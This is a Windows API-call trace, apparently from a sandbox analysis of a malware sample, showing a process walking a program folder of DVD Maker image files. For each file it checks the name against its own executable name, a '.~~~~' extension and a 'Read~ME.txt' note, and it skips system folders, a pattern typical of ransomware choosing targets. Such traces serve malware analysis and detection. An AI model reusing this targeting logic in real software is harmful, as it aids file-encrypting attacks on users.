	[0081.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.329] GetCurrentThreadId () returned 0x618
	[0081.329] RtlWakeConditionVariable () returned 0x365f48
	[0081.329] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1
	[0081.329] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="Windows") returned -1
	[0081.329] lstrcmpW (lpString1="Notes_content-background.png", lpString2="oiikyy.exe") returned -1
	[0081.329] StrStrW (lpFirst="Notes_content-background.png", lpSrch=".~~~~") returned 0x0
	[0081.329] lstrcmpW (lpString1="Notes_content-background.png", lpString2="Read~ME.txt") returned -1
	[0081.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.329] GetCurrentThreadId () returned 0x618
	[0081.329] RtlWakeConditionVariable () returned 0x365f48
	[0081.330] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x2, cFileName="scrapbook.png", cAlternateFileName="")) returned 1
	[0081.330] lstrcmpiW (lpString1="scrapbook.png", lpString2="Windows") returned -1
	[0081.330] lstrcmpW (lpString1="scrapbook.png", lpString2="oiikyy.exe") returned 1
	[0081.330] StrStrW (lpFirst="scrapbook.png", lpSrch=".~~~~") returned 0x0
	[0081.330] lstrcmpW (lpString1="scrapbook.png", lpString2="Read~ME.txt") returned 1
	[0081.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.330] GetCurrentThreadId () returned 0x618
	[0081.330] RtlWakeConditionVariable () returned 0x365f48
	[0081.330] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1
	[0081.330] lstrcmpiW (lpString1="Title_content-background.png", lpString2="Windows") returned -1
	[0081.330] lstrcmpW (lpString1="Title_content-background.png", lpString2="oiikyy.exe") returned 1
	[0081.330] StrStrW (lpFirst="Title_content-background.png", lpSrch=".~~~~") returned 0x0
	[0081.330] lstrcmpW (lpString1="Title_content-background.png", lpString2="Read~ME.txt") returned 1
	[0081.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.330] GetCurrentThreadId () returned 0x618
	[0081.330] RtlWakeConditionVariable () returned 0x365f48
	[0081.330] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1
	[0081.330] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="Windows") returned -1
	[0081.330] lstrcmpW (lpString1="Title_mainImage-mask.png", lpString2="oiikyy.exe") returned 1
	[0081.330] StrStrW (lpFirst="Title_mainImage-mask.png", lpSrch=".~~~~") returned 0x0
	[0081.330] lstrcmpW (lpString1="Title_mainImage-mask.png", lpString2="Read~ME.txt") returned 1
	[0081.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.331] GetCurrentThreadId () returned 0x618
	[0081.331] RtlWakeConditionVariable () returned 0x365f48
	[0081.331] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1
	[0081.331] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="Windows") returned -1
	[0081.331] lstrcmpW (lpString1="Title_select-highlight.png", lpString2="oiikyy.exe") returned 1
	[0081.331] StrStrW (lpFirst="Title_select-highlight.png", lpSrch=".~~~~") returned 0x0
	[0081.331] lstrcmpW (lpString1="Title_select-highlight.png", lpString2="Read~ME.txt") returned 1
	[0081.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.331] GetCurrentThreadId () returned 0x618
	[0081.331] RtlWakeConditionVariable () returned 0x365f48
	[0081.331] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0
	[0081.331] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.332] GetCurrentThreadId () returned 0x618
	[0081.332] RtlWakeConditionVariable () returned 0x365f48
	[0081.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1
	[0081.333] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="Windows") returned -1
	[0081.333] lstrcmpW (lpString1="menu_style_default_Thumbnail.png", lpString2="oiikyy.exe") returned -1
	[0081.333] StrStrW (lpFirst="menu_style_default_Thumbnail.png", lpSrch=".~~~~") returned 0x0
	[0081.333] lstrcmpW (lpString1="menu_style_default_Thumbnail.png", lpString2="Read~ME.txt") returned -1
	[0081.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.333] GetCurrentThreadId () returned 0x618
	[0081.334] RtlWakeConditionVariable () returned 0x365f48
	[0081.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.334] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.334] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.334] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.334] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.334] GetCurrentThreadId () returned 0x618
	[0081.334] RtlWakeConditionVariable () returned 0x365f48
	[0081.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.334] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.334] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.334] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.334] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.334] GetCurrentThreadId () returned 0x618
	[0081.334] RtlWakeConditionVariable () returned 0x365f48
	[0081.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.334] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.334] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.334] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.334] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.334] GetCurrentThreadId () returned 0x618
	[0081.335] RtlWakeConditionVariable () returned 0x365f48
	[0081.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.335] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.335] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.335] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.335] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.335] GetCurrentThreadId () returned 0x618
	[0081.335] RtlWakeConditionVariable () returned 0x365f48
	[0081.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.335] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.335] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.335] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.335] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.335] GetCurrentThreadId () returned 0x618
	[0081.335] RtlWakeConditionVariable () returned 0x365f48
	[0081.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.335] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.335] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.335] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.335] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.336] GetCurrentThreadId () returned 0x618
	[0081.336] RtlWakeConditionVariable () returned 0x365f48
	[0081.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1
	[0081.336] lstrcmpiW (lpString1="OldAge", lpString2="Windows") returned -1
	[0081.336] lstrcmpW (lpString1="OldAge", lpString2=".") returned 1
	[0081.336] lstrcmpW (lpString1="OldAge", lpString2="..") returned 1
	[0081.336] lstrcmpW (lpString1="OldAge", lpString2="AppData") returned 1
	[0081.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", lpSrch="AppData") returned 0x0
	[0081.336] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.336] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", lpString2="C:\\Windows") returned -1
	[0081.336] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.336] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", lpString2="C:\\System Volume Information") returned -1
	[0081.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0081.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.411] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.411] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.411] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.411] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.411] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.411] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.412] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.412] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.412] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.412] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.412] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.412] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.412] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.412] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.412] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.412] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.412] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.412] GetCurrentThreadId () returned 0x618
	[0081.412] RtlWakeConditionVariable () returned 0x365f48
	[0081.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0081.413] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0081.413] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0081.413] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0081.413] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0081.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.413] GetCurrentThreadId () returned 0x618
	[0081.413] RtlWakeConditionVariable () returned 0x365f48
	[0081.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x2, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1
	[0081.413] lstrcmpiW (lpString1="decorative_rule.png", lpString2="Windows") returned -1
	[0081.413] lstrcmpW (lpString1="decorative_rule.png", lpString2="oiikyy.exe") returned -1
	[0081.413] StrStrW (lpFirst="decorative_rule.png", lpSrch=".~~~~") returned 0x0
	[0081.413] lstrcmpW (lpString1="decorative_rule.png", lpString2="Read~ME.txt") returned -1
	[0081.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.413] GetCurrentThreadId () returned 0x618
	[0081.413] RtlWakeConditionVariable () returned 0x365f48
	[0081.413] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.413] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.414] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.414] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.414] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.414] GetCurrentThreadId () returned 0x618
	[0081.414] RtlWakeConditionVariable () returned 0x365f48
	[0081.414] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.414] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.414] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.414] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.414] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.414] GetCurrentThreadId () returned 0x618
	[0081.415] RtlWakeConditionVariable () returned 0x365f48
	[0081.415] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.415] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.415] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.415] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.415] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.415] GetCurrentThreadId () returned 0x618
	[0081.415] RtlWakeConditionVariable () returned 0x365f48
	[0081.415] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.415] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.415] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.415] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.415] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.415] GetCurrentThreadId () returned 0x618
	[0081.416] RtlWakeConditionVariable () returned 0x365f48
